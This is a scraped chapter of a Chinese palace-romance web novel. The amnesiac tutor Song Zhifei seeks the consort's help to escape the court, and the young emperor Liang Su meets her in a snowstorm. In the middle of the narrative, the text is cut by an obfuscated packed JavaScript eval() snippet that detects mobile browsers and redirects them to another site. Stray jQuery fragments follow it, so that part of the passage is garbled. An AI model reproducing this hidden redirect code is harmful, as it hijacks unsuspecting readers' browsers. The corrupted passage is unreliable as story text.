默认冷灰
24号文字
方正启体

3. 风雪归人(三)

作者:灯闲花落本书字数:K更新时间:
    若真论起渊源,梁肃也并非自幼便被教养在宫中的储君。


    仍是稚子时,功勋显赫的父兄遭逢兵败,连同上万将士战死漠北,受万众唾骂,遭百官弹劾。


    他连尸首都不曾见上一面,便与寡母相依为命,在上京可谓受尽了苦处。


    后母亲亦病故,他便无人管问地在外野了三五载。


    若非先帝因丹药损了根本,又无子嗣绵延,先皇后及一众大臣也想不到还有这条皇家血脉来,最终把他给架到了帝王宝座上去。


    只是最初被擒入宫时,他尚且孤立无势,只能看群狼环伺,受郭后掌制,任宋氏、袁氏两党在朝上分庭抗礼。


    直到亲政之机来临,他才真正坐观虎斗,将这些制压过他的权党彻底一一扫除。


    不可不谓是少年帝王,隐忍蛰伏,城府过人。


    听得多了,连宋知斐也快对此深信不疑。


    “娘娘。”她无心卷入事端,只是出于礼节以笑相迎,“这宫中耳目难掩,还以为您早便听闻民女之来历了。”


    听她自称民女,病中难掩虚弱,张娢玉心惊地怔在原地,反应了片刻,实不敢相信她是真的失忆了,“你、你……本宫只以为你是明哲保身,难不成当真……”


    她话里带颤,不敢置信地反复审度着宋知斐的神色,谨慎中还微不可查地杂了些怀疑。


    宋知斐却不置可否,只轻然一笑:“娘娘为人心善,民女亦不虚瞒。即便此身当真乃达官之躯——”


    她顿了顿,又继续道,“可经历记忆早已不同,受困于深宫,实非我本愿。”


    尚不待张娢玉作反应,宋知斐便也听懂她的意思,明白了眼下处境,“依照娘娘所言,民女再留于天子眼前,便无异是坐以待毙了。”


    她是个明白人,也顺势而下,“娘娘位高至此,不知可否指条明路?”


    这般思虑通透、温谦大方的模样,看得张娢玉都不由愣了一瞬,恍惚还以为是在做梦。


    当真是世事无常,风水轮流。


    从前的宋知斐,向来筹算得当,几曾这般有求于人?


    张娢玉一时竟不知是该笑还是该叹,只是双腿失软,自嘲着跌坐至了贵妃榻上。


    “人人皆道本宫淑惠得宠,冠压六宫。可无人知道,圣上的心根本就不在此处。”


    她眸中泛泪,深深望向宋知斐,憔悴的眼神里竟是诉不尽的哀怨。


    满屋的荣华富贵,此刻映于她周身,也顿显黯然失色,平添几分可怜。


    宋知斐面色淡下,除去几丝意外,更多的还是身作局外人的缄默。


    张娢玉倒也不是教她来看自己笑话的,缓了口气罢,又重拾了方才的精神,“教太傅见笑了。”


    她笑着拭去泪痕,起身走至宋知斐面前:“不论如何,你我也算有过故交。”


    张娢玉尽心为她筹谋起来:“陛下凉薄,皇城又守卫森严,你若想金蝉脱壳,只怕还要静待良机。”


    “本宫倒有一计,若太傅信得过——”张娢玉附于她耳畔悄声说了许多。


    宋知斐静然听着,也不论是与假,只浅笑作谢,权且先应下,再拜而别。


    **


    御书房内寂静无声,唯有一盏檀香悠悠笼着批阅奏折的梁肃。


    不经意间,角落的暗门后忽然闪进来一道黑影。


    “启禀陛下,”暗卫青九叩地交代,“太傅片刻前,被绮华殿宣去小叙了半柱香时间。”


    梁肃眸光一冷,合上了奏折,杀意暗生。


    青九犹豫再三,又勉力开了口:“四喜来报,太傅近来心绪平稳,称陛下是天底……最好的男子,方才还请他吃、吃了……”


    这话实在难说,每个字都似有千斤重,挤出来都费劲。


    梁肃听得脸色愈来愈暗,冷笑了一声,不知是什么浑话竟让他难言至此,“吃了什么?”


    青九被慑得慌了神,心道以后绝不让那烧坏脑子的浑小子再乱说半句。


    深吸了一口气后,终是不敢隐瞒,只得秉公呈出了腰间的两枚鸡卵,如实道:“……双喜吉蛋。”


    梁肃眉头微皱,一时竟不知是该气还是该笑。


    这分明是他清晨知她卧病,吩咐再三,特命人送去的早点之一。


    她就这么随手打发给旁人了?


    少年闷恼难言,强忍着按了按眉心后,还是将没阅完的折子丢到了一旁。


    “退下。”


    隆冬日里,阴云天变化无常,分明出门前还是一派明和模样,不一会儿,漫天大雪便纷扬飘卷在了巷道中。


    “大人,咱们还是先寻个亭子避一避吧!”


    风雪太甚,带着寒气融落,濡湿脖颈,直钻入肌髓。未带纸伞的四喜扶好帽檐,忙引着宋知斐到一处凉亭安了身。


    可天寒地冻,雪势来急,少说也需小半时辰。


    四喜看着宋知斐那被冻得雪白的面容,忽然也觉得自己脖子凉飕飕的。


    天爷,他怎敢拿陛下心尖上的人开玩笑。


    宋知斐倒是随遇而安,只坐下道:“时辰尚早,你我等等亦无妨,保不准还能遇到过路的宫人。”


    “不不不!”四喜吓得连忙打住,一个劲赔笑道,“怎么能让大人您在这受苦呢。”


    他挠挠头,也算急中生智,“这么着吧,奴才去借些雪具来,一盏茶的功夫,保管回来。”


    瞧他那副志得意满的模样,宋知斐还来不及开口,便见他已踏着绝顶的轻功消失在了雪影中。


    她哑然失笑,没想到这宫中竟是藏龙卧虎,还有如此身手了得的人物。


    宋知斐默望着雨帘不觉出了神,也不知看了多久,她忽然察觉有细微的脚步声逐渐靠近。


    正奇异四喜怎的这么快便借到伞来,回过头,一道威仪的身影却赫然映入眼帘——


    身着乌金锦袍的少年不知何时竟来了此地,手中一柄收起的黄绢伞仍丝丝滴落着雪水。


    他眸如墨潭,许是方从风雪中来,周身清冷的寒息还尚未散去,只是静默着看她,似乎藏着什么话要说。


    可那派矜贵之气,仍是象征了他不可冒犯的天家身份。


    宋知斐虽对他的出现略有意外,但也很快平复,从容地欲起身行礼:“参见——”


    少年出手扣住了她将拜叠的双臂,像是在压抑着什么,笑意冷暗下来:


    “不准再对朕行礼。”


    宋知斐微愣,旋即也依言止了动作,颔首回以浅笑,“谢陛下圣恩。”


    少年神色沉杂难言,显然不是要听一句谢恩才特意赶过来的。


    他默默松开了手,可眼神却从未离开过她的面容。


    女孩不算拘束,也自然地同他相谈一句:“陛下也有兴致来踏雪赏景?”


    梁肃看了看这漫天呼号的大雪,眉尖微挑,也不知是何等有病之人方会在此时出门赏景。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14937325|160738||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    但显然,他便是那有病之人。


    积藏在心头的情意横冲直撞,不得宣之,索性也带着侵略脱口而出,刺探起她的反应:


    “朕是来接你的。”


    宋知斐抬眸看他,辨不出他的口吻是真是假。


    可紧接着,少年便又笑着转了话锋:


    “朕原本是要去漪兰苑探病,可太傅实在有能耐,药也不喝便有如此健魄,可在风雪天里畅走自如。”


    “改日非但太医要数落朕的不是,”他搁下伞,从袖中取出了一顶雪帽为她戴上,口是心非地道着关怀,“只怕连外人也要说朕苛待太傅了。”


    少年动作极为自然,只垂下鸦羽为她系着绳结。冷白的手指看不出曾杀人如麻,仿佛是做一件再寻常不过的事,全然未将自己当做是九五至尊。


    宋知斐微怔着伫在原地,不由也打量起了这近在咫尺的面容——


    这是个俊逸而不失棱角的少年,同时也是杀伐冷厉不留情的天子。


    他眉目硬朗如剑,利似雁翎的眼尾似乎总带着冷淡,不可与人亲近。


    可此刻,却又莫名像带了几分圭玉般的温情。


    “出来怎么也不乘轿撵,漪兰苑的人都瞎了么?”


    少年开口冷毒,含责轻怪了一句,又即刻打破了方才的那一霎柔情。


    宋知斐知他是关心自己,也轻然一笑,不让漪兰苑的人受了牵连:“回陛下,出门正值雪霁,臣便想着从简,未曾大张旗鼓。”


    这一句称臣,令梁肃为她系着绳结的手,顿时失了稳,险些没能系好。


    “你……”他眸光一怔,看着态度陡转的女孩,一贯阴冷的面色似是裂了冰的湖面,见得天光的一瞬,亦溢出几丝不敢轻信,“说什么?”


    她分明一直以失忆为由,不愿官复原职,亦对他冷淡疏离,而今怎的又忽然改了口?


    宋知斐笑了笑,只莞然抿唇:“陛下金口玉言,认定臣是本朝太傅,臣自是不敢拂拒圣恩。”末了,又拘谨探询,“就是不知……可否失言造次了?”


    她总是这般温婉知礼,笑着摆低自己的姿态,像是逢迎君意,令人窥不得她的真心。


    又总是那般引人惜怜,每一次的温柔恭顺,都像是在剜着梁肃的心,令他百受折磨。


    造次?


    他真恨不能告诉她,她可以对他做一切她想做的事,打也好骂也罢,他求之不得。


    就是别这般对他生分隔阂……会要了他的命。


    可如今,他又怎敢多做奢求?她肯向他靠近一步,便已是他最梦寐难求之事了。


    哪怕是在骗他也好。


    少年冷然自哂,险些就快抑不住失控的情绪,顿了许久,才笑了一声,回道:“怎么会?朕高兴都来不及。”


    他拾起一旁的绢伞,难得生起了几分好心情:“风雪寒,要先回去么?”


    宋知斐眸光微动,倒是想到了谁,“四喜公公去借雪具,只怕尚不知情。”


    梁肃轻嗤一声,不以为意:“他消息比你活络,你担心他做什么?”


    风雪大作间,两道身影隔着伞柄缓缓前行。


    赭黄伞盖从撑起时便偏向了女孩,一路坚定未移,如这凛冬煦日,明暖而昭彰。


    至漪兰苑后,宋知斐含笑作别,亲手合上房门,就这样看着院中目送她的梁肃,慢慢消失在了关上的门缝中。


    可当晚,她却生生做了个噩梦。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)